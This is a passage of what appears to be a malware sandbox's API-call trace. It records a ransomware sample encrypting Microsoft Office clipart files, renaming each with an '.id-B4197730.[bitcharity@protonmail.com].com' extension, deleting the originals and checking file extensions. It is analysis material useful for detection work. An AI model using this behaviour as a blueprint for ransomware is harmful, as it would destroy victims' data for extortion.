lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0291.456] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0291.457] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.458] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xe4, lpOverlapped=0x0) returned 1 [0291.458] SetEndOfFile (hFile=0x10b0) returned 1 [0291.458] CloseHandle (hObject=0x10b0) returned 1 [0291.458] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.458] SetEndOfFile (hFile=0x10b8) returned 1 [0291.459] CloseHandle (hObject=0x10b8) returned 1 [0291.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0291.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0291.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.460] lstrlenW (lpString=".doc") returned 4 [0291.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.460] lstrlenW (lpString=".docx") returned 5 [0291.460] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0291.460] lstrlenW (lpString=".pdf") returned 4 [0291.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.460] lstrlenW (lpString=".xls") returned 4 [0291.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.460] lstrlenW (lpString=".xlsx") returned 5 [0291.460] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0291.460] lstrlenW (lpString=".ppt") returned 4 [0291.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.460] lstrlenW (lpString=".zip") returned 4 [0291.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.461] lstrlenW (lpString=".rar") returned 4 [0291.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".bz2") returned 4 [0291.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString=".7z") returned 3 [0291.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.461] lstrlenW (lpString=".dbf") returned 4 [0291.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.461] lstrlenW (lpString=".1cd") returned 4 [0291.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.461] lstrlenW (lpString=".jpg") returned 4 [0291.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.461] lstrlenW (lpString=".doc") returned 4 [0291.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".docx") returned 5 [0291.462] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0291.462] lstrlenW (lpString=".pdf") returned 4 [0291.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".xls") returned 4 [0291.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0291.462] lstrlenW (lpString=".xlsx") returned 5 [0291.462] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0291.462] lstrlenW (lpString=".ppt") returned 4 [0291.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.462] lstrlenW (lpString=".zip") returned 4 [0291.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0291.462] lstrlenW (lpString=".rar") returned 4 [0291.462] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".bz2") returned 4 [0291.462] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString=".7z") returned 3 [0291.462] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.462] lstrlenW (lpString=".dbf") returned 4 [0291.462] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.462] lstrlenW (lpString=".1cd") returned 4 [0291.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0291.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0291.463] lstrlenW (lpString=".jpg") returned 4 [0291.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0291.463] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0291.463] lstrlenW (lpString="DD00121_.WMF") returned 12 [0291.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0291.463] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=8256) returned 1 [0291.463] CloseHandle (hObject=0x10b8) returned 1 [0291.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0291.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0291.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0291.464] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.464] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0291.468] GetLastError () returned 0x0 [0291.468] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x2040, lpOverlapped=0x0) returned 1 [0293.220] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2050, lpOverlapped=0x0) returned 1 [0293.406] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.406] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.406] SetEndOfFile (hFile=0x10b0) returned 1 [0293.406] CloseHandle (hObject=0x10b0) returned 1 [0293.407] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.407] SetEndOfFile (hFile=0x10b8) returned 1 [0293.408] CloseHandle (hObject=0x10b8) returned 1 [0293.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0293.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.408] lstrlenW (lpString=".doc") returned 4 [0293.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.408] lstrlenW (lpString=".docx") returned 5 [0293.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.408] lstrlenW (lpString=".pdf") returned 4 [0293.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.408] lstrlenW (lpString=".xls") returned 4 [0293.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.408] lstrlenW (lpString=".xlsx") returned 5 [0293.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.408] lstrlenW (lpString=".ppt") returned 4 [0293.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString=".zip") returned 4 [0293.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.409] lstrlenW (lpString=".rar") returned 4 [0293.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString=".bz2") returned 4 [0293.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString=".7z") returned 3 [0293.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString=".dbf") returned 4 [0293.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString=".1cd") returned 4 [0293.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString=".jpg") returned 4 [0293.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.409] lstrlenW (lpString=".doc") returned 4 [0293.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString=".docx") returned 5 [0293.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.409] lstrlenW (lpString=".pdf") returned 4 [0293.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.409] lstrlenW (lpString=".xls") returned 4 [0293.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.409] lstrlenW (lpString=".xlsx") returned 5 [0293.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.410] lstrlenW (lpString=".ppt") returned 4 [0293.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.410] lstrlenW (lpString=".zip") returned 4 [0293.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.410] lstrlenW (lpString=".rar") returned 4 [0293.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.410] lstrlenW (lpString=".bz2") returned 4 [0293.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.410] lstrlenW (lpString=".7z") returned 3 [0293.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.410] lstrlenW (lpString=".dbf") returned 4 [0293.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.410] lstrlenW (lpString=".1cd") returned 4 [0293.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0293.410] lstrlenW (lpString=".jpg") returned 4 [0293.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.410] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.410] lstrlenW (lpString="DD00297_.WMF") returned 12 [0293.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0293.411] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=40030) returned 1 [0293.411] CloseHandle (hObject=0x10b8) returned 1 [0293.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 0x220 [0293.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0293.411] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.411] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0293.412] GetLastError () returned 0x0 [0293.412] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x9c5e, lpOverlapped=0x0) returned 1 [0293.634] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x9c60, lpOverlapped=0x0) returned 1 [0293.779] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.779] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.779] SetEndOfFile (hFile=0x10b0) returned 1 [0293.779] CloseHandle (hObject=0x10b0) returned 1 [0293.779] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.779] SetEndOfFile (hFile=0x10b8) returned 1 [0293.780] CloseHandle (hObject=0x10b8) returned 1 [0293.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0293.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString=".doc") returned 4 [0293.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString=".docx") returned 5 [0293.781] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.781] lstrlenW (lpString=".pdf") returned 4 [0293.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString=".xls") returned 4 [0293.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.781] lstrlenW (lpString=".xlsx") returned 5 [0293.781] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.781] lstrlenW (lpString=".ppt") returned 4 [0293.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString=".zip") returned 4 [0293.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.781] lstrlenW (lpString=".rar") returned 4 [0293.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString=".bz2") returned 4 [0293.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString=".7z") returned 3 [0293.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString=".dbf") returned 4 [0293.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString=".1cd") returned 4 [0293.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.781] lstrlenW (lpString=".jpg") returned 4 [0293.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.782] lstrlenW (lpString=".doc") returned 4 [0293.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString=".docx") returned 5 [0293.782] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.782] lstrlenW (lpString=".pdf") returned 4 [0293.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString=".xls") returned 4 [0293.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.782] lstrlenW (lpString=".xlsx") returned 5 [0293.782] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.782] lstrlenW (lpString=".ppt") returned 4 [0293.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.782] lstrlenW (lpString=".zip") returned 4 [0293.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.782] lstrlenW (lpString=".rar") returned 4 [0293.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString=".bz2") returned 4 [0293.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.782] lstrlenW (lpString=".7z") returned 3 [0293.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.782] lstrlenW (lpString=".dbf") returned 4 [0293.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.783] lstrlenW (lpString=".1cd") returned 4 [0293.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68 [0293.783] lstrlenW (lpString=".jpg") returned 4 [0293.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.783] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0293.783] lstrlenW (lpString="DD00448_.WMF") returned 12 [0293.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0293.783] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2952) returned 1 [0293.783] CloseHandle (hObject=0x10b8) returned 1 [0293.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x220 [0293.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0293.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0293.784] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.784] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00448_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00448_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0293.784] GetLastError () returned 0x0 [0293.784] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xb88, lpOverlapped=0x0) returned 1 [0294.416] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, 